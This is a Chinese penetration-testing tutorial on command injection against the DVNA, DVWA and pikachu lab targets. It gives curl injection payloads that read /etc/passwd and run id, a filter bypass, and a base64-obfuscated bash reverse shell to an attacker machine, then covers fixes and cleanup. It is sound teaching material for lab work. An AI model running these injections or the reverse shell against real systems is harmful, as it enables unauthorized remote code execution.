ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

渗透测试实战从靶场搭建到渗透流程——第 6 篇 · 命令注入与 Getshell:DVNA/DVWA/pikachu 三条 RCE 链

渗透测试实战从靶场搭建到渗透流程——第 6 篇 · 命令注入与 Getshell:DVNA/DVWA/pikachu 三条 RCE 链

目 录

一、原理:拼接出来的第二双眼睛

二、DVNA(8091):Node.js 上的 root RCE

2.1 回显级:ping 接口命令注入

2.2 交互级:反弹 shell

三、DVWA(8081):先看表单,再谈利用

3.1 Low 级:无任何过滤

3.2 Medium 级:黑名单过滤 &&

3.3 Impossible 级:正确写法长什么样

四、pikachu(8088)与 DVWA 提示框对照

五、防御视角与验收清场

5.1 修复建议

5.2 验收标准

5.3 清场

一、原理:拼接出来的第二双眼睛

命令注入与 SQL 注入同源:程序把用户输入直接拼进 shell 命令执行。典型场景如 ping 工具、文件处理、系统诊断页面。区别在于注入对象不是 SQL 解释器而是 shell,可用的连接符也更丰富:

连接符

语义

示例

;

顺序执行(无论成败)

127.0.0.1;id

&&

前成功才执行后

127.0.0.1 && cat /etc/passwd

||

前失败才执行后

不存在的主机 || id

|

管道:前输出作后输入

127.0.0.1 | id

反引号 / 命令替换

输出嵌入原命令

`id`

换行符 %0a

新行新命令(过滤分号时用)

127.0.0.1%0aid

利用目标分两级:回显级(看命令输出)与交互级(反弹 shell,能执行任意命令)。本篇先打通回显级,再升级反弹 shell。

二、DVNA(8091):Node.js 上的 root RCE

DVNA 是 Node.js 技术栈的漏洞靶场。先解决一个登录坑:登录接口的参数名是 username,不是 login——字段名猜错只会收到 401,这是该靶场第一大坑。

curl -s -c /tmp/dvna.txt -X POST http://10.10.10.240:8091/app/login \

-d "username=pentest&password=pentest123" -o /dev/null -w "%{http_code}\n"

# 302 即登录成功(Cookie 存 /tmp/dvna.txt)

2.1 回显级:ping 接口命令注入

curl -s -b /tmp/dvna.txt http://10.10.10.240:8091/app/ping \

--data-urlencode "address=127.0.0.1;id" | grep -A2 PING

# 预期(实测):PING 127.0.0.1 ... 之后紧跟:

# uid=0(root) gid=0(root) groups=0(root)

回显解析:输出里混着 ping 自己的 PING/icmp_seq 行,grep -A2 或过滤 icmp_seq 即拿到干净结果。uid=0(root) 说明容器内 Web 进程就是 root——拿到的 shell 等于宿主容器全权。

2.2 交互级:反弹 shell

回显级只能「问一句答一句」,交互级才能翻目录、传文件、提权。反弹的完整三要素:目标主动出网(靶场容器内网可达攻击机)、攻击机监听、目标执行连接回命令。

# Kali(10.10.10.110)开监听

nc -lvnp 4444

# 目标侧注入(bash 无 /dev/tcp 替代方案):base64 绕空格与分词

curl -s -b /tmp/dvna.txt http://10.10.10.240:8091/app/ping \

--data-urlencode "address=127.0.0.1;echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTEwLzQ0NDRcIiAwPiYx\\" \

--data-urlencode "a=|base64 -d|bash"

# payload 原文:echo <base64>|base64 -d|bash,其中 base64 内容为:

# bash -c "bash -i >& /dev/tcp/10.10.10.110/4444" 0>&1

Kali 侧收到连回后拿到 root shell,可自由 cat /etc/passwd、翻数据库配置。清场:退出交互 shell,或在靶场侧 kill 对应 nc/bash 进程(按 PID,见清场节)。

三、DVWA(8081):先看表单,再谈利用

DVWA 的 Command Injection 模块有个坑住无数新手的设计:表单是 POST 提交。用 GET 拼 payload 只会拿到一片空白页面,然后怀疑人生。正确顺序永远是先 grep 表单结构:

curl -s -b "PHPSESSID=你的会话; security=low" \

"http://10.10.10.240:8081/vulnerabilities/exec/" | grep -E "<form|name="

# 看到:<form action="#" method="post"> ... name="ip" ... name="Submit"

3.1 Low 级:无任何过滤

curl -s -b "PHPSESSID=你的会话; security=low" \

"http://10.10.10.240:8081/vulnerabilities/exec/" \

--data-urlencode "ip=127.0.0.1;id" --data-urlencode "Submit=Submit" | grep -E "uid="

# 预期(实测):uid=33(www-data) gid=33(www-data)

3.2 Medium 级:黑名单过滤 &&

Medium 把 && 与 ; 替换为空。绕过手法照表:用 | 管道(未过滤)或 & 单个(未过滤)。注意 | 会把 ping 的输出管道进去,回显里要先滤掉 ping 行:

curl -s -b "PHPSESSID=你的会话; security=medium" \

"http://10.10.10.240:8081/vulnerabilities/exec/" \

--data-urlencode "ip=127.0.0.1 |id" --data-urlencode "Submit=Submit" | grep -E "uid="

# 预期:uid=33(www-data)

3.3 Impossible 级:正确写法长什么样

Impossible 用 PHP 的 CSRF token 校验 + 参数拆分 + escapeshellarg() 白名单化输入——用户只能传「一个 IP」,其他一切字符都变成字面量。这就是命令注入的标准解法:不做黑名单过滤,而是让用户输入永远无法「跳出」参数位置。

四、pikachu(8088)与 DVWA 提示框对照

curl -s "http://10.10.10.240:8088/vul/rce/rce_ping.php" \

--data-urlencode "ipaddress=127.0.0.1;id" --data-urlencode "submit=ping" \

-b /tmp/pk.txt | grep -E "uid="

# 预期(实测):uid=33(www-data)

pikachu 的注入点是 POST 参数 ipaddress,形态与 DVWA 完全一致。三个靶场打完,命令注入的现场差异只剩「参数名」与「过滤黑名单」两处——方法论再次收敛:先看表单/接口参数(Burp 或 curl --data 猜测),再逐个连接符探测(; && || | 换行),最后按黑名单选未过滤的写法。

五、防御视角与验收清场

5.1 修复建议

  • 首选:不用 shell。能调系统 API(如 Python 的 ping 库、Node 的 child_process.execFile 传数组)就不拼字符串。
  • 必须拼时:escapeshellarg()/白名单正则(只允许 IP 格式字符),杜绝 ; | & 换行进入参数。
  • 降权运行:Web 进程绝不用 root(DVNA 的 uid=0 教训),即使被注入也限死影响面。
  • 容器环境:加 --read-only、drop capabilities、seccomp,让反弹 shell 拿到的也是个「笼子」。

5.2 验收标准

DVNA 回显级拿到 uid=0(root) 并成功反弹 shell;DVWA Low/Medium 都拿到 uid=33(www-data);pikachu 拿到 uid=33(www-data)。

5.3 清场

# 1) 找残留 nc/bash(若打过反弹 shell)

docker exec dvna sh -c "ps aux | grep -E "nc|bash -i" | grep -v grep"

# 2) 按 PID 杀(严禁 pkill -f,会连容器主进程一起带走)

docker exec dvna sh -c "kill -9 <PID>"

# 3) 攻击机侧关监听

# 直接 Ctrl+C 结束 nc -lvnp 4444

至此「注入三兄弟」(SQL/上传/命令)全部打通。下一篇补齐 Web 三件套的后半场:文件包含读源码、XSS 打浏览器、CSRF 冒充用户——同样是三个靶场对照实测。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进